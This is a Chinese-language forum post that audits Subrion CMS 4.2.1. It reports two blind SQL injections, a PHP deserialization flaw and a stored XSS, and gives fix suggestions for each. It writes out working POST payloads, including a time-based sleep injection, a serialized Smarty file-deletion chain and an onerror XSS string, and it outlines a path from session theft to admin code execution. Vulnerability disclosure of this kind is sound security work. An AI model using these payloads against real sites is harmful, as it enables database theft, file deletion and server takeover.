Subrion CMS 代码审计【通过】

0x01 Introduction

Subrion cms 是一款国外的开源cms,使用php 开发,最新版本是4.2.1,目前正在开发的4.2.2 版本尚未发布。

【官 网】https://subrion.org/

【下载地址】https://subrion.org/download/

【测试环境】php 5.6.27、mysql5.0.11、apache2.2

【测试版本】subrion cms 4.2.1 and subrion dev

0x02 Founded Vulnerabilities

漏洞类型 数量 级别 利用条件 修复与否
Blind SQL注入 2 注册用户 已修复
OI(反序列化) 1 注册用户 未修复
存储型XSS 1 注册用户 未修复

0x03 Fundamental Analysis

SQL注入漏洞一

\subrion\front\actions.php line 34

$field = **isset** ($_POST[ **'field'** ]) ? iaSanitize:: *sql* ($_POST[ **'field'** ]) : **null** ;

变量POST[‘field’]使用类函数iaScanitize::sql进行处理,最终调用mysqli_real_escape_string 进行转义,由于这个函数只能转义几个特殊字符,对于没有单引号的SQL注入并不能防御,因此这个参数可以无引号SQL注入漏洞利用。

image

\subrion\includes\classes\ia.core.sanitize.php

\subrion\includes\classes\ia.core.mysqli.php

Call stack :

Poc:

该 cms 对于post请求做了简单的 csrf 防御,每个请求都会验证 cstf token 和 referer,

登录状态下cstf token 可以通过查看用户profile页面获取,referer即使目标网站url。

最终poc如下:

Sqlmap 利用:

Post data:

__st=9da21aa3800afdb4c743c93bf0714ae6&item=blog_entries&itemid=2&field=1,2 from (select 1)u where 1=1*#&path=t/tdest/|xx.png&action=edit-picture-title

image

修复建议

POST[‘field’]做合法性校验,return preg_replace('#[^a-z_0-9]#i', '', $_POST[‘field’]);

SQL注入漏洞二

\subrion\front\actions.php 106 line

用户提交post数据传入函数deleteUploadedFile

\subrion\includes\classes\ia.core.field.php line 1322
public function deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = null , $checkOwnership = false )

以上函数的第二个参数$itemName来自$_POST[item],该参数没有经过任何转义过滤处理最终带入数据库查询从而造成SQL注入。

Post request:

Url: http://test.com/subrion/actions.json?

Data:

__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

Call stack:

ia.core.mysqli.php:256, iaDb->getRow()

ia.core.mysqli.php:248, iaDb->_get()

ia.core.mysqli.php:535, iaDb->row()

ia.core.field.php:1333, iaField->deleteUploadedFile()

actions.php:106, require()

ia.core.php:355, iaCore->_executeModule()

ia.core.php:149, iaCore->init()

index.php:123, {main}()

Poc

Url:http://test.com/subrion/actions.json?

Data:

__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

修复建议

POST[‘item’]做安全性合法校验,return preg_replace('#[^a-z_0-9]#i', '', $_POST[‘field’]);

反序列化漏洞

在分析SQL注入漏洞一的时候我们知晓,变量$tableName = $item=$_POST[item]=table,

变量$field = $_POST[field]=column,而$itemValue的值是根据用户提供的表和列查询获取的值,既然如此只要某个表里面的内容我们能够控制,unserialize反序列化得内容则可以控制。

这个条件很容易满足,比如用户信息表sbr412_members,该cms在查询的时候会对表名自动格式化添加前缀和后缀,比如提供表名为 member,查询的时候自动补全为sbr421_members。

在代码执行到unserialize 之前,有个条件判断:

if (iaUsers:: hasIdentity () && $memberId == iaUsers:: getIdentity ()-> id && $itemValue)
->unserialize()
  • 当用户登录 iaUsers::hasIdentity() return ture

  • $memberId == iaUsers::getIdentity()->id <=>$_POST[itemid]=userid

  • $itemValue not null <=> ture

subrion\front\actions.php line 53

根据以上分析,只要userid 知晓那么就可以使if 条件为真从而执行 unserialize($itemValue)。

userid 格式是number数字,根据用户注册时间,从1开始编号,通过 $_POST[itemid]提供,既然如此userid就可以通过爆破获取,当 userid =myuserid,返回的结果会和之前不同。

  1. Login in user

  2. set profile biography a:1:{s:1:"d";a:1:{s:2:"1'";i:3;}}

image

  1. Post request:

Url:http://test.com/subrion/actions.json

Data:

action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=userid&path=tmp

对itemid参数进行爆破,当 itemid !=myuserid,response invalid parameters

itemid==userid =2,respnose {"error":false}

Call stack:

对于反序列化的利用需要寻找POP Chain,通过审计发现smarty存在一个任意文件删除的利用链。

运行代码生成Delete file OBI chain:

O:24:"Smarty_Internal_Template":6:{s:8:"cache_id";N;s:10:"compile_id";N;s:7:"caching";N;s:14:"cache_lifetime";N;s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";s:4:"good";}s:6:"cached";O:22:"Smarty_Template_Cached":8:{s:8:"filepath";b:0;s:6:"exists";b:0;s:5:"valid";b:0;s:9:"processed";b:0;s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}s:8:"cache_id";N;s:7:"lock_id";s:24:"C:\windows\Temp\test.txt";s:9:"is_locked";b:1;}}

修改profile Biography 为OBI chain ,利用正确的userid重新发送post请求

Url:http://test.com/subrion/actions.json

Data:

action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

发现OBI chain 并未生效,最后调试审计代码发现,当请求类型为REQUEST_HTML,smary相关的类才会被加载,而该漏洞利用请求类型刚好是json,如此只能利用php 内置类进行反序列化利用。关于php反序列化利用内置类的相关详情请参阅网络其他文章。

Poc:

Send Post :

Url:http://test.com/subrion/actions.json

Data:

action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

修复建议

序列化之前验证序列化字段是否在白名单之中。

存储型XSS

修改博文操作的时候,代码层面只对博客字段类型为txet 和textarea 的内容做了XSS防御处理,而字段image[‘file’]参数类型为image,并未进行xss 转义过滤处理导致XSS漏洞。

Poc:

整个触发过程:

添加blog->upload image->edit blog->修改image.file 为”x” onerror=”alert(/xss/)

image

浏览博客触发XSS http://test.com/subrion-develop/blog/

修复建议

对image[‘file’]调用safeHTML进行处理。

0x04 Vulnerability Exploit:

SQLInject =>RCE

审计代码并未发现前台代码执行漏洞,不过后台发现两种执行代码的方法,结合前文SQL注入漏洞获取管理员登录时的session_id,然后登录后台getshell。

表 online 保存用户登录时的session_id和用户名等其他信息。

image

获取管理员 session_id

利用管理员session_id登录后台

后台GetShell 方法一:

在Blocks模块修改Refine Search的值,添加我们要执行的代码,前台搜索内容行为即可触发执行我们添加的代码。

后台GetShell 方法二:

后台content fields模块用来设置一些字段的相关属性动作,其中有个extra_actions属性用来设置某字段值改变时的动作行为,用来校验字段值,比如注册邮件的时候,就会执行mail字段 extra_actions属性的代码来校验邮箱的合法性。

我们可以设置用户fullname字段的extra_actions值为我们代码,前台修改用户profile保存即可触发代码执行。

修改更新用户profile fullname

两次代码成功执行的结果

  • 通过
  • 未通过

0 投票者

2 个赞

很久没有这样具体的审计文章了 支持一下 :grinning: